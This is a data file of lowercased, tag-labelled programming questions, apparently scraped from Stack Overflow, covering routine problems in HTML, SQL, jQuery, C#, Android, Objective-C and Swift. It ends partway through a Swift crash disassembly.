"bootstrap tabs feature not working  i m trying to use bootstrap s navigation tab feature  but i can t seem to get it working.     what am i doing (or not doing) wrong     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;luis gonzalez s portfolio&lt;/title&gt;
   &lt;link rel= stylesheet  type= text/css  href= portstyle.css /&gt;
 &lt;/head&gt;
 &lt;body&gt;
     &lt;div class= header &gt;
       &lt;div class= navi &gt;
         &lt;ul class= nav nav-tabs &gt;
           &lt;li class= active &gt;&lt;a href= # &gt;creations&lt;/a&gt;&lt;/li&gt;
           &lt;li&gt;&lt;a href= index.html &gt;about&lt;/a&gt;&lt;/li&gt;
           &lt;li&gt;&lt;a href= # &gt;contact&lt;/a&gt;&lt;/li&gt;
         &lt;/ul&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
sql query to find if different values exist for a column  i have a temporary table with three columns pay_id   id_client_grp   id_user    basically i want to ensure that this table should have all the rows having same client group and same id_user if not i want to know which pay_id is the culprit and throw error to user.    can somebody help me with a query.    thanks     rishi,sql
mysql - change index on myisam table  i have a table where two columns are used in a where condition.     this is a myisam table and both columns hold text and use fulltext as index.     the values in both columns are not unique.    the select statement works pretty slow.     question is: can i simply remove the fulltext index and use another index instead      the query that is used is just as simple as possbile:   <pre><code>select * from tbl where col1=x and col2=y and col3=z </code></pre>   thanks!,mysql
convert pseudo date string into javascript date object  i am receiving the following time from the server:   <pre><code> 2010-11-30t23:00:00.000z  </code></pre>   this time gets outputed in three seperate input fields:   <pre><code>&lt;input name= day  type= number  value={new date(mytimestring).getday()} /&gt; &lt;input name= month  type= number  value={new date(mytimestring).getmonth()} /&gt; &lt;input name= year  type= number  value={new date(mytimestring).getyear()} /&gt; </code></pre>   this results in three inputs being display next to each other with some values like: <code>1 - 12 - 2010</code>    now when the user alters a value  lets say the month gets changed from <code>12</code> to <code>10</code> i would want to grab the original time string which i get from the server and alter it accordingly to the change.    is there a  proper  way to do that    all i can think of is storing the original time and then overwriting it with the <code>str.replace</code> method at a specific index.    the desired result in that case would be: <code> 2010-10-30t23:00:00.000z </code>,javascript
clean up unused dataset  bindingsource & tableadapter objects  i have inherited a winforms project that has several forms with a great deal of dataset  bindingsource &amp; tableadapter objects. i am sure that not all of these are required/used.    is there a way to determine which of these objects are not used by a control (ie dropdown  textbox etc...)     i am using vs2008,.net
caroufredsel is not a function  i m struggling to set up caroufredsel. i m doing everything correctly - all links work. i m adding this on online store using smarty templates. i get this error in the chrome console:   <blockquote>    uncaught typeerror: jquery(...).caroufredsel is not a function  </blockquote>   head section of <strong>header.tpl</strong>:   <pre><code>&lt;!-- jquery --&gt;        &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js  type= text/javascript &gt;&lt;/script&gt;   &lt;!-- caroufredsel --&gt; &lt;script src= http://example.com/js/jquery.caroufredsel-6.2.1.js  type= text/javascript &gt;&lt;/script&gt;   {literal}     &lt;script type= text/javascript &gt;     jquery(function() {           jquery( #carousel ).caroufredsel({                 items                : 2                  direction            :  up                   scroll : {                     items            : 1                      easing            :  elastic                       duration        : 1000                      pauseonhover    : true                 }             });         });     &lt;/script&gt; {/literal} </code></pre>   <strong>footer.tpl</strong>:   <pre><code>&lt;div id= carousel &gt;     &lt;img src= http://example.com/img1.png  width= 105  /&gt;     &lt;img src= http://example.com/img2.png  width= 110  /&gt;     &lt;img src= http://example.com/img3.png  width= 105  /&gt;     &lt;img src= http://example.com/img4.png  width= 120  /&gt;     &lt;img src= http://example.com/img5.png  width= 105  /&gt;     &lt;img src= http://example.com/img6.png  width= 200  /&gt; &lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>#carousel img {     padding: 16px 10px 14px 10px; }  #carousel {     width: 1178px;     height: 126px;     margin: 0 auto; } </code></pre>   what am i missing,jquery
grouping by aggregate calculations  i have two tables    table 1:   <pre><code>unsub|email|unsubvalue y    | a   | 100 y    | b   | 200 n    | c   | null n    | d   | null </code></pre>   table 2:    <pre><code>email|unsubvalue a    |150 a    |200 b    |100 b    |150 c    |300 </code></pre>   i want to count the number of distinct emails that have 0 or 1+ occurrences in table 2 where the unsub value in table 2 is <em>less than</em> the unsub value in table 1.     then  i want to group by the unsub column in table 1 is. so the desired output is this:   <pre><code>unsub| num unsub | count distinct email y    | 0 unsub   |  1 (refers to email a  which has no unsub occurances) y    | 1+ unsub  |  1 (refers to email b  which has 2 unsub occurances) n    | 0 unsub   |  2 (refers to email c &amp; d  which have no unsub occurances that meet the conditions) n    | 1+ unsub  |  0 </code></pre>,sql
would like to filter a movie check box list in haml/rails so that when i select a rating! its content is displayed  i am new to rails and have been attempting to filter a check box list so that upon selecting check box the selected movie is displayed! currently i have the movie form populated with the ratings that chose in my index as shown below:   <pre><code>= form_tag movies_path  :method =&gt; :get do   include:   - @all_ratings.each do |rating|     = rating     = check_box_tag  ratings[#{rating}]    = submit_tag  refresh  </code></pre>   in my model movie.rb view i put the following;   <pre><code>def self.all_ratings   array[ g   pg   pg-13   r   nc-17 ] end </code></pre>   and in movie controller i have the following;   <pre><code>def index  @all_ratings = movie.all_ratings  </code></pre>   i am required to replace the movie.all with movie.find which i tried doing ended with nilclass error! currently the form is displayed with the selected paramaters however i would it to dynamic in that it can display a rating or ratings upon clicking on check box! i hope this makes sense... i tried various ways to filter this form ie updating index file like; params[:rating].include (rating) got a nilclass error!!!! all efforts rendered in rectifying this issue will be most appreciated.,ruby-on-rails
nsuserdefaults:setobject crash  i trying to save app state on processing event applicationwillterminate. but nsuserdefaults:setobject crashes in 30% cases if  uialertview with uitextfield present on screen. call stack looks like   <pre><code>[nsuserdefaults setobject] [nsnotificationcenter postnotificationname] _cfxnotificationpostnotification __cfxnotificationpost _nsnote_callback [uikeyboardimpl defaultsdidchange] [uikeyboardimpl taketextinputtraitsfrom] [nsobjectcopy] [uitextinputtraits copywithzone] [uitextinputtraits taketraitsfrom] [uitextinputtraits setinsertionpointcolor] objc_setproperty objc_msgsend </code></pre>   then cbr: program received signal  exc_bad_access . how i can fix it  thanks.,iphone
meaning of a c++ function parameter type declaration  (i m quite new to c++) in the line:   <pre><code>virtual void setmodifyhdl( const link&lt;edit&amp; void&gt;&amp; rlink ) { mamodifyhdl = rlink; } </code></pre>   what is the exact meaning of <code>link&lt;edit&amp; void&gt;&amp;</code>     it s in <em>libreoffice</em> code  <a href= https://github.com/libreoffice/core/blob/master/include/vcl/edit.hxx  rel= nofollow noreferrer >https://github.com/libreoffice/core/blob/master/include/vcl/edit.hxx</a> line 233.,c++
how to access child properties from parent class on c#   i want to accessing children class properties from generic parent class methods.     here are my parent and children class looks a like:    parent class:   <pre><code>public class modelbase&lt;t&gt;: where t : modelbase&lt;t&gt; {     public string id;     private static list&lt;t&gt; datas;      public modelbase()     {         if(datas == null)         {             datas = new list&lt;t&gt;();         }     }      public void save()     {         id = generatenewguid();     }      string generatenewguid()     {         return guid.newguid().tostring();     }      public void delete()     {         var index = datas.findindex(o =&gt; o.id == id);         datas.removeat(index);     }      public static t find(string id)     {         var obj = datas.find(c =&gt; c.id == id);          return obj;     } } </code></pre>   children class 1:   <pre><code>public class customer : modelbase&lt;customer&gt; {     public string firstname;     public string lastname;      public customer(string firstname  string lastname)     {         firstname = firstname;         lastname = lastname;     } } </code></pre>   children class 2:   <pre><code>public class company : modelbase&lt;company&gt; {     public string name;     public address address;      public company(string name)     {         name = name;     } } </code></pre>   i was accessing all the childrens class from the ui layer:   <pre><code>var customer = new customer( first    last ); var company = new company( company x ); customer.save(); company.save(); var obj = customer.find(customer.id); </code></pre>   all methods on childrens class was from parent class such like save()  delete() and find() and when i want to save model data to the list  how can i get value from children that has been set on the app ui  and is that correct the way how i make save() / find() method  i store the object on one <code>static list&lt;t&gt;</code>,c#
divide ul into multiple columns  in this forum i found a jquery solution to divide a long ul into multiple columns. the post is a bit old and after a few days still no answer  therefor i m starting a new topic.     the problem is that when the last column have a few li items the li are placed at the bottom instead of the top. something like this:   <pre><code>columna       columnb &lt;li&gt;&lt;/li&gt; &lt;li&gt;&lt;/li&gt; &lt;li&gt;&lt;/li&gt;     &lt;li&gt;&lt;/li&gt; &lt;li&gt;&lt;/li&gt;     &lt;li&gt;&lt;/li&gt; </code></pre>   the code i use is this:    <pre><code>  var col_max_height = 15; //max items per column   var col_width = 175; //pixels   var col_height = 18; //pixels   $( .categories ul li ul ).each(function() {     $(this).find( li ).each(function(index){       column = parseint(index/col_max_height);       $(this).css( margin-left   column * col_width +  px )         if(column &gt; 0) {         $(this).css( margin-top   (index - (col_max_height * column)  + 1) * -col_height +  px ).addclass( col_ +column);     }    });   }); </code></pre>   as you can see the code places the li items starting at <code>margin-top:-270px</code>. i want to start at <code>margin-top:0</code> and then further down.    i can t see what to do for that...,jquery
why doesn t my preferences page show the current values   i have a preferences page which is defined by xml - including some default values. i use a preferenceactivity to display and handle this page. whenever i use this page to set the preferences the preference file on the file system is updated properly - i can see this via adb.    however  whenever i go back to the settings page after have changed some of the settings  it s the defaults that are shown.  worse than that  if i press back without changing any settings  it then sets the  all back to the default.    any ideas on how i can get the prefs to actually show the current settings     my preferenceactivityis created thus:   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     preferencemanager.getdefaultsharedpreferences(this)             .registeronsharedpreferencechangelistener(this);     setdefaults(this);     super.oncreate(savedinstancestate);     addpreferencesfromresource(r.xml.settings); } </code></pre>   the xml looks like this:   <pre><code>    &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;preferencescreen   xmlns:android= http://schemas.android.com/apk/res/android &gt;   &lt;listpreference      android:id= @+id/numberofyearslist      android:key= numberofyears      android:title= number of years to read the bible      android:summary= how many years would you like to take to read through the reading plan       android:entries= @array/numberofyears      android:entryvalues= @array/numberofyears      android:dialogtitle= how many years       android:defaultvalue= 1      /&gt;   &lt;checkboxpreference android:key= ignoredates      android:id= @+id/ignoredatescheckbox      android:title= ignore dates      android:summary= would you like to use the dates in the plan       android:defaultvalue= false    /&gt; &lt;/preferencescreen&gt; </code></pre>,android
c# propertyinfo getvalue  i have constructed a generic method which  deserialiazes  an object in the following manner:   <pre><code>public class aclass {    public int id {get; set;}    public string name {get;set;} }   public class nestingclass {   public string address {get; set;}   list&lt;aclass&gt; classes {get; set;} } </code></pre>   the output if a list of keyvaluepair : nestingclass value: none  addressnestingclass value  list1.generic.collections classesnestingclass none  idaclassnestingclass value  nameaclassnestingclass value.    i manage to get the types of all   but with the values is a little harder because while using propertyinfo.getvalue() i  cannot use always the object  e.g for the propertyinfos of a aclass the object (which is the type which forms the list of classes) the object should be of type aclass. using  this  also does not work . i get the object doesn t match the target object. what i would need is some sort of mechanism of  slicing  through the object passed as a generic parameter and try to get the values in that manner.  the code is something like:   <pre><code>    public list&lt;keyvaluepair&lt;string string&gt;&gt; process(object foo)     {          if (foo == null)             return new list&lt;keyvaluepair&lt;string string&gt;&gt;();         var result = list&lt;keyvaluepair&lt;string string&gt;&gt;();          var types = new stack&lt;helper&gt;();         types.push(new helper { type = o.gettype() name = string.empty  value = string.empty });          while (types.count &gt; 0)         {             helper thelper = types.pop();             type t = thelper.type;             result.items.add(new keyvaluepair { key = thelper.name  value = thelper.value });             if (t.isvaluetype || t == typeof(string))                 continue;              if (t.isgenerictype)             {                 foreach (var arg in t.getgenericarguments())                     types.push(new typehelper { type = arg  name = string.empty });                 continue;              }                  foreach (var propertyinfo in t.getproperties())                 { //here comes the issue                                        types.push(new typehelper { type = propertyinfo.propertytype  name = propertyinfo.name + propertyinfo.declaringtype.name  value= propertyinfo.getvalue(this null).tostring() });                 }             }              return result;         } </code></pre>,c#
nsmutablearray error  keep saying error out of bounds  i really cant see the forest through the trees as they say. first off  here is my code :   <pre><code> -(nsmutablearray*)getwaranty:(nsstring*)string start:(nsstring*)start and:(nsstring*)end{ nsmutablearray *waranties = [[nsmutablearray alloc] init]; nsrange startrange = [string rangeofstring:start]; nsrange valuerange; valuerange.location = startrange.location + startrange.length; //beginpunt nsrange eindrange = [string rangeofstring:end]; valuerange.length = eindrange.location - valuerange.location; nsstring *result = [[nsstring alloc]init]; result = nil; if(valuerange.location != nsnotfound){     if(valuerange.length != nsnotfound){         result = [string substringwithrange:valuerange];         nsstring *testresult = [[nsstring alloc]init];         testresult = result;          nsstring* begintrim = [[nsstring alloc]init];         nsstring* begintrim1 = [[nsstring alloc]init];         nsstring* begintrim2 = [[nsstring alloc]init];         nsstring* begintrim3 = [[nsstring alloc]init];         nsstring* begintrim4 = [[nsstring alloc]init];         nsstring* begintrim5 = [[nsstring alloc]init];         nsstring* begintrim6 = [[nsstring alloc]init];         nsstring* begintrim7 = [[nsstring alloc]init];         nsstring* begintrim8 = [[nsstring alloc]init];         nsstring* begintrim9 = [[nsstring alloc]init];         nsstring* begintrim10 = [[nsstring alloc]init];         begintrim = [testresult stringbyreplacingoccurrencesofstring:@ &lt;li class=\ toptwowarrantylistitem\ &gt; withstring:@  ];         begintrim1 = [begintrim stringbyreplacingoccurrencesofstring:@ &lt;b&gt; withstring:@  ];         begintrim2 = [begintrim1 stringbyreplacingoccurrencesofstring:@ &lt;li&gt; withstring:@  ];         begintrim3 = [begintrim2 stringbyreplacingoccurrencesofstring:@ &lt;/li&gt; withstring:@  ];         begintrim4 = [begintrim3 stringbyreplacingoccurrencesofstring:@ &lt;/b&gt; withstring:@  ];         begintrim5 = [begintrim4 stringbyreplacingoccurrencesofstring:@ &lt;a href=\ javascript:selecttabfromlink(5);\  id=\ seewarrantytab\  class=\ uif_link\ &gt; withstring:@  ];         begintrim6 = [begintrim5 stringbyreplacingoccurrencesofstring:@ &lt;/a&gt; withstring:@  ];         nsstring *lang =[[nsstring alloc]init];         lang= @ nl ;         if(lang == @ nl ){             begintrim7 = [begintrim6 stringbyreplacingoccurrencesofstring:@ .  raadpleeg het tabblad garantie voor meer informatie. withstring:@  ];         }         begintrim8 = [begintrim7 stringbyreplacingoccurrencesofstring:@ &lt;/div&gt; withstring:@  ];         begintrim9 = [begintrim8 stringbyreplacingoccurrencesofstring:@ \r\n withstring:@  ];         begintrim10 = [begintrim9 stringbytrimmingcharactersinset:[nscharacterset whitespaceandnewlinecharacterset]];         nsstring *warant = [[nsstring alloc]init];         nsstring *thewarant = [[nsstring alloc]init];         nsstring *hoev = [[nsstring alloc]init];         nsstring *lic = [[nsstring alloc]init];         nsstring *datum = [[nsstring alloc]init];         if(lang == @ nl ){             //split met garantie             warant = [begintrim10 stringbyreplacingoccurrencesofstring:@   garantie met einddatum op withstring:@  ];             nsarray *array = [[nsarray alloc]init];             array = [warant componentsseparatedbystring:@                                                                                                                   ];             nsinteger hoeveel = [array count];             if(hoeveel != 0){                 hoev = [nsstring stringwithformat:@ %d  hoeveel];                 [waranties addobject:hoev];                 for(int i = 0; i &lt; hoeveel; i++){                     if([array objectatindex:i] != null){                         thewarant = [array objectatindex:i];                         nsarray *specarray = [[nsarray alloc]init];                         specarray = [thewarant componentsseparatedbystring:@    ];                         lic = [specarray objectatindex:0];                         datum = [specarray objectatindex:1];                         [waranties addobject:lic];                         [waranties addobject:datum];                         nslog(@  de waraiens 1 :%@   [waranties objectatindex:0]);                         nslog(@  de waraiens 1 :%@   [waranties objectatindex:1]);                     }                     else{                      }                  }             nslog(@  de waraiens 1 :%@   [waranties objectatindex:0]);             nslog(@  de waraiens 2 :%@   [waranties objectatindex:1]);             nslog(@  de waraiens 3 :%@   [waranties objectatindex:2]);             nslog(@  de waraiens 4 :%@   [waranties objectatindex:3]);             nslog(@  de waraiens 5 :%@   [waranties objectatindex:4]);             return waranties;             }         }     } } </code></pre>   }    the code should return somthing like :    2013-03-12 21:12:51.783 dellsupportapp[6254:c07]  de waraiens 1 :2    2013-03-12 21:12:51.785 dellsupportapp[6254:c07]  de waraiens 2 :dell business support/prosupport    2013-03-12 21:12:51.785 dellsupportapp[6254:c07]  de waraiens 3 :30/07/2009    2013-03-12 21:12:51.785 dellsupportapp[6254:c07]  de waraiens 4 :next business day    2013-03-12 21:12:51.786 dellsupportapp[6254:c07]  de waraiens 5 :30/07/2009    but the tricky thing is. it only works like 1 out of 10 times... the method is called in this function :    <pre><code>-(nsmutablearray*) parseit: (nsstring*) topars { nsmutablearray *waranties = [[nsmutablearray alloc]init]; nsstring *begintitle = @ &lt;title&gt; ; nsstring *eindtitle = @ &lt;/title&gt; ; nsstring *title = [self gettitle:topars start:begintitle and:eindtitle]; if(title != null){     nslog(@ de title = %@   title);     [waranties addobject:title];     nsstring *try = [waranties objectatindex:0];     nslog(@ de title = %@   try); }  nsstring *beginwar = @ &lt;div class=\ toptwowarrantysummarydiv\ &gt; ; nsstring *eindwar = @ &lt;div class=\ requestwarrantyextensiondiv\ &gt; ; nsmutablearray *warrant = [[nsmutablearray alloc]init]; warrant = [self getwaranty:topars start:beginwar and:eindwar]; if(warrant != null){     [waranties addobject:warrant];      nslog(@  de warant %@    [waranties objectatindex:1]); } return waranties; </code></pre>   i find it very fisgy that it enters the first method shown here  about 10 times  while i only ask it once... i am searvhin the problems for over 4 hours now  getting tired of some erros  well actually an error is mostly not shown...    please point me my errors...,objective-c
copypartrequest class of amazon s3 - when to use this design   i went through the copypartrequest class file of amazon s3 (package: com.amazonaws.services.s3.model)   <pre><code>copypartrequest copyrequest = new copypartrequest()                     .withdestinationbucketname()                     .withdestinationkey()                     .withsourcebucketname()                     .withsourcekey()                     .withuploadid()                     .withfirstbyte()                     .withlastbyte()                     .withpartnumber(); </code></pre>   this class have all setter methods (ex: setdestinationbucketname) and also has methods which returns the same object itself which are used as above.    reference url:<br>      <a href= http://www.lookatsrc.com/source/com/amazonaws/services/s3/model/copypartrequest.java a=com.amazonaws:aws-java-sdk-s3  rel= nofollow >http://www.lookatsrc.com/source/com/amazonaws/services/s3/model/copypartrequest.java a=com.amazonaws:aws-java-sdk-s3</a>    i m trying understand the pattern when to use this kind of pattern   <ol> <li>when we need to have setter methods (or) with() methods (or) both.</li> <li>can we have similar kind of with methods in entity class along with setter methods so that it will be useful for creating an object</li> <li>is it possible have with() methods alone and convert the same via dozer or modelmapper instead of having setter methods</li> </ol>   thanks.,java
how to change text of an html button with jquery  i ve watched a bunch of code  none worked   and i am probably missing something . the only thing that worked for me in jquery and javascript was document.write . i don t know if there s something wrong with the code   or if i have to include something   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt;  &lt;script type= text/javascript &gt;     $( #klik ).click(function() {          $( #klik ).text( test );      });  &lt;/script&gt;  &lt;script src= http://code.jquery.com/jquery-latest.min.js  type= text/javascript &gt;&lt;/script&gt;   &lt;button id= klik &gt;click me!&lt;/button&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
python help: no conditionals  or loops  need help solving this problem without conditionals  or loops:    write the function <code>getinrange</code> which takes 3 values (which you may assume are all numeric) -- <code>x</code>  <code>bound1</code>  and <code>bound2</code>  where <code>bound1</code> is not necessarily less than <code>bound2</code>. if <code>x</code> is between the two bounds  just return it unmodified.  otherwise  if <code>x</code> is less than the lower bound  return the lower bound  or if <code>x</code> is greater than the upper bound  return the upper bound.    for example:   <ul> <li><code>getinrange(1  3  5)</code> returns 3 (the lower bound  since 1 lies to the left of the range [3 5])</li> <li><code>getinrange(4  3  5)</code> returns 4 (the original value  since 4 is in the range [3 5])</li> <li><code>getinrange(6  3  5)</code> returns 5 (the upper bound  since 6 lies to the right of the range [3 5])</li> <li><code>getinrange(6  5  3)</code> also returns 5 (the upper bound  since 6 lies to the right of the range [3 5])</li> </ul>,python
how does system.security.principal.ntaccount.translate() resolve specified user to an sid  i am wondering  if there is a local user account with the specified account name would it get resolved before or after any domain account with the same name,.net
getting errors in random functions that aren t being called upon launch  so when i launch my app  i ll sometimes get an <code>exc_breakpoint</code> or <code>exc_bad_access</code> that points to a line within a function that s not being called. after writing some new  unrelated code  i can get these crashes without fail. and when i undo that code  i can sometimes rid of the error.but that code isn t at all related  and i m not sure why i m getting these errors in functions that aren t even being called.     i have a <code>uiwindow</code> with a custom <code>videoplayer</code> class that i m returning upon launch. and the failing function is in that class  although it never gets called. here s how i m doing it:   <pre><code>@uiapplicationmain class appdelegate: uiresponder  uiapplicationdelegate {      let player = videoplayer(frame:uiscreen.mainscreen().bounds)     var window: uiwindow  {         set {          }         get {              return player         }     } } </code></pre>   stack trace:   <pre><code>libswiftcore.dylib`function signature specialization &lt;arg[0] = exploded  arg[1] = exploded  arg[2] = dead  arg[3] = dead&gt; of swift._fatalerrormessage (swift.staticstring  swift.staticstring  swift.staticstring  swift.uint) -&gt; ():     0x1007cc740 &lt;+0&gt;:   stp    x29  x30  [sp  #-16]!     0x1007cc744 &lt;+4&gt;:   mov    x29  sp     0x1007cc748 &lt;+8&gt;:   sub    sp  sp  #16     0x1007cc74c &lt;+12&gt;:  and    w8  w2  #0x1     0x1007cc750 &lt;+16&gt;:  tbnz   w8  #0  0x1007cc770       ; &lt;+48&gt;     0x1007cc754 &lt;+20&gt;:  tbnz   x1  #63  0x1007cc7b4      ; &lt;+116&gt;     0x1007cc758 &lt;+24&gt;:  add    x1  x0  x1     0x1007cc75c &lt;+28&gt;:  mov    x2  x3     0x1007cc760 &lt;+32&gt;:  mov    x3  x4     0x1007cc764 &lt;+36&gt;:  mov    x4  x5     0x1007cc768 &lt;+40&gt;:  bl     0x10080edd0               ; function signature specialization &lt;arg[0] = exploded  arg[1] = exploded&gt; of swift.(_fatalerrormessage (swift.staticstring  swift.staticstring  swift.staticstring  swift.uint) -&gt; ()).(closure #2) -&gt;  0x1007cc76c &lt;+44&gt;:  brk    #0x1     0x1007cc770 &lt;+48&gt;:  str    xzr  [sp  #8]     0x1007cc774 &lt;+52&gt;:  cmp    x0  w0  uxtw     0x1007cc778 &lt;+56&gt;:  b.ne   0x1007cc94c               ; &lt;+524&gt;     0x1007cc77c &lt;+60&gt;:  lsr    w8  w0  #11     0x1007cc780 &lt;+64&gt;:  cmp    w8  #26     0x1007cc784 &lt;+68&gt;:  b.hi   0x1007cc7d8               ; &lt;+152&gt;     0x1007cc788 &lt;+72&gt;:  cmp    w0  #128     0x1007cc78c &lt;+76&gt;:  b.lo   0x1007cc808               ; &lt;+200&gt;     0x1007cc790 &lt;+80&gt;:  orr    w8  wzr  #0x80     0x1007cc794 &lt;+84&gt;:  bfxil  x8  x0  #0  #6     0x1007cc798 &lt;+88&gt;:  cmp    w0  #2048     0x1007cc79c &lt;+92&gt;:  b.hs   0x1007cc83c               ; &lt;+252&gt;     0x1007cc7a0 &lt;+96&gt;:  movz   x10  #0     0x1007cc7a4 &lt;+100&gt;: movz   x11  #0     0x1007cc7a8 &lt;+104&gt;: lsr    w9  w0  #6     0x1007cc7ac &lt;+108&gt;: orr    w9  w9  #0xffffffc0     0x1007cc7b0 &lt;+112&gt;: b      0x1007cc86c               ; &lt;+300&gt;     0x1007cc7b4 &lt;+116&gt;: adr    x0  #808224               ;  fatal error      0x1007cc7b8 &lt;+120&gt;: nop         0x1007cc7bc &lt;+124&gt;: adr    x3  #808724               ;  unsafebufferpointer with negative count      0x1007cc7c0 &lt;+128&gt;: nop         0x1007cc7c4 &lt;+132&gt;: movz   w1  #0xb     0x1007cc7c8 &lt;+136&gt;: orr    w2  wzr  #0x2     0x1007cc7cc &lt;+140&gt;: movz   w4  #0x27     0x1007cc7d0 &lt;+144&gt;: orr    w5  wzr  #0x2     0x1007cc7d4 &lt;+148&gt;: bl     0x1007cc740               ; &lt;+0&gt;     0x1007cc7d8 &lt;+152&gt;: cmp    w0  #14  lsl #12     0x1007cc7dc &lt;+156&gt;: b.lo   0x1007cc818               ; &lt;+216&gt;     0x1007cc7e0 &lt;+160&gt;: cmp    w0  #272  lsl #12     0x1007cc7e4 &lt;+164&gt;: b.hs   0x1007cc900               ; &lt;+448&gt;     0x1007cc7e8 &lt;+168&gt;: orr    w8  wzr  #0x80     0x1007cc7ec &lt;+172&gt;: bfxil  x8  x0  #0  #6     0x1007cc7f0 &lt;+176&gt;: orr    w9  wzr  #0xffffff80     0x1007cc7f4 &lt;+180&gt;: bfxil  w9  w0  #6  #6     0x1007cc7f8 &lt;+184&gt;: lsr    w10  w0  #16     0x1007cc7fc &lt;+188&gt;: cbnz   w10  0x1007cc924          ; &lt;+484&gt;     0x1007cc800 &lt;+192&gt;: lsr    w10  w0  #12     0x1007cc804 &lt;+196&gt;: b      0x1007cc848               ; &lt;+264&gt;     0x1007cc808 &lt;+200&gt;: movz   x9  #0     0x1007cc80c &lt;+204&gt;: movz   x11  #0     0x1007cc810 &lt;+208&gt;: mov    x8  x0     0x1007cc814 &lt;+212&gt;: b      0x1007cc89c               ; &lt;+348&gt;     0x1007cc818 &lt;+216&gt;: adr    x0  #808124               ;  fatal error      0x1007cc81c &lt;+220&gt;: nop         0x1007cc820 &lt;+224&gt;: adr    x3  #811328               ;  high- and low-surrogate code points are not valid unicode scalar values      0x1007cc824 &lt;+228&gt;: nop         0x1007cc828 &lt;+232&gt;: movz   w1  #0xb     0x1007cc82c &lt;+236&gt;: orr    w2  wzr  #0x2     0x1007cc830 &lt;+240&gt;: movz   w4  #0x47     0x1007cc834 &lt;+244&gt;: orr    w5  wzr  #0x2     0x1007cc838 &lt;+248&gt;: bl     0x1007cc740               ; &lt;+0&gt;     0x1007cc83c &lt;+252&gt;: lsr    w10  w0  #12     0x1007cc840 &lt;+256&gt;: orr    w9  wzr  #0xffffff80     0x1007cc844 &lt;+260&gt;: bfxil  w9  w0  #6  #6     0x1007cc848 &lt;+264&gt;: movz   x12  #0     0x1007cc84c &lt;+268&gt;: movz   x11  #0     0x1007cc850 &lt;+272&gt;: orr    w10  w10  #0xffffffe0     0x1007cc854 &lt;+276&gt;: and    x10  x10  #0xff     0x1007cc858 &lt;+280&gt;: lsl    x13  x12  #3     0x1007cc85c &lt;+284&gt;: lsl    x10  x10  x13     0x1007cc860 &lt;+288&gt;: orr    x11  x10  x11     0x1007cc864 &lt;+292&gt;: str    x11  [sp  #8]     0x1007cc868 &lt;+296&gt;: add    x10  x12  #1     0x1007cc86c &lt;+300&gt;: orr    w12  wzr  #0x8     0x1007cc870 &lt;+304&gt;: umulh  x12  x10  x12     0x1007cc874 &lt;+308&gt;: cmp    xzr  x12     0x1007cc878 &lt;+312&gt;: b.ne   0x1007cc94c               ; &lt;+524&gt;     0x1007cc87c &lt;+316&gt;: lsl    x12  x10  #3     0x1007cc880 &lt;+320&gt;: cmp    x12  #63     0x1007cc884 &lt;+324&gt;: b.hi   0x1007cc8dc               ; &lt;+412&gt;     0x1007cc888 &lt;+328&gt;: and    x9  x9  #0xff     0x1007cc88c &lt;+332&gt;: lsl    x9  x9  x12     0x1007cc890 &lt;+336&gt;: orr    x11  x9  x11     0x1007cc894 &lt;+340&gt;: str    x11  [sp  #8]     0x1007cc898 &lt;+344&gt;: add    x9  x10  #1     0x1007cc89c &lt;+348&gt;: orr    w10  wzr  #0x8     0x1007cc8a0 &lt;+352&gt;: umulh  x10  x9  x10     0x1007cc8a4 &lt;+356&gt;: cmp    xzr  x10     0x1007cc8a8 &lt;+360&gt;: b.ne   0x1007cc94c               ; &lt;+524&gt;     0x1007cc8ac &lt;+364&gt;: lsl    x10  x9  #3     0x1007cc8b0 &lt;+368&gt;: cmp    x10  #64     0x1007cc8b4 &lt;+372&gt;: b.hs   0x1007cc8dc               ; &lt;+412&gt;     0x1007cc8b8 &lt;+376&gt;: and    x8  x8  #0xff     0x1007cc8bc &lt;+380&gt;: lsl    x8  x8  x10     0x1007cc8c0 &lt;+384&gt;: orr    x8  x8  x11     0x1007cc8c4 &lt;+388&gt;: str    x8  [sp  #8]     0x1007cc8c8 &lt;+392&gt;: add    x8  sp  #8     0x1007cc8cc &lt;+396&gt;: add    x8  x9  x8     0x1007cc8d0 &lt;+400&gt;: add    x1  x8  #1     0x1007cc8d4 &lt;+404&gt;: add    x0  sp  #8     0x1007cc8d8 &lt;+408&gt;: b      0x1007cc75c               ; &lt;+28&gt;     0x1007cc8dc &lt;+412&gt;: adr    x0  #807928               ;  fatal error      0x1007cc8e0 &lt;+416&gt;: nop         0x1007cc8e4 &lt;+420&gt;: adr    x3  #808332               ;  shift amount is larger than type size in bits      0x1007cc8e8 &lt;+424&gt;: nop         0x1007cc8ec &lt;+428&gt;: movz   w1  #0xb     0x1007cc8f0 &lt;+432&gt;: orr    w2  wzr  #0x2     0x1007cc8f4 &lt;+436&gt;: movz   w4  #0x2d     0x1007cc8f8 &lt;+440&gt;: orr    w5  wzr  #0x2     0x1007cc8fc &lt;+444&gt;: bl     0x1007cc740               ; &lt;+0&gt;     0x1007cc900 &lt;+448&gt;: adr    x0  #807892               ;  fatal error      0x1007cc904 &lt;+452&gt;: nop         0x1007cc908 &lt;+456&gt;: adr    x3  #811176               ;  value is outside of unicode codespace      0x1007cc90c &lt;+460&gt;: nop         0x1007cc910 &lt;+464&gt;: movz   w1  #0xb     0x1007cc914 &lt;+468&gt;: orr    w2  wzr  #0x2     0x1007cc918 &lt;+472&gt;: movz   w4  #0x25     0x1007cc91c &lt;+476&gt;: orr    w5  wzr  #0x2     0x1007cc920 &lt;+480&gt;: bl     0x1007cc740               ; &lt;+0&gt;     0x1007cc924 &lt;+484&gt;: lsr    w10  w0  #18     0x1007cc928 &lt;+488&gt;: orr    w11  w10  #0xf0     0x1007cc92c &lt;+492&gt;: cmp    w11  w11  uxtb     0x1007cc930 &lt;+496&gt;: b.ne   0x1007cc94c               ; &lt;+524&gt;     0x1007cc934 &lt;+500&gt;: orr    w10  wzr  #0xffffff80     